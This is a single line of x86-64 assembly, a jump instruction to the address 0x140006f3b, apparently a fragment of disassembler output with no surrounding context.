jmp 0x140006f3b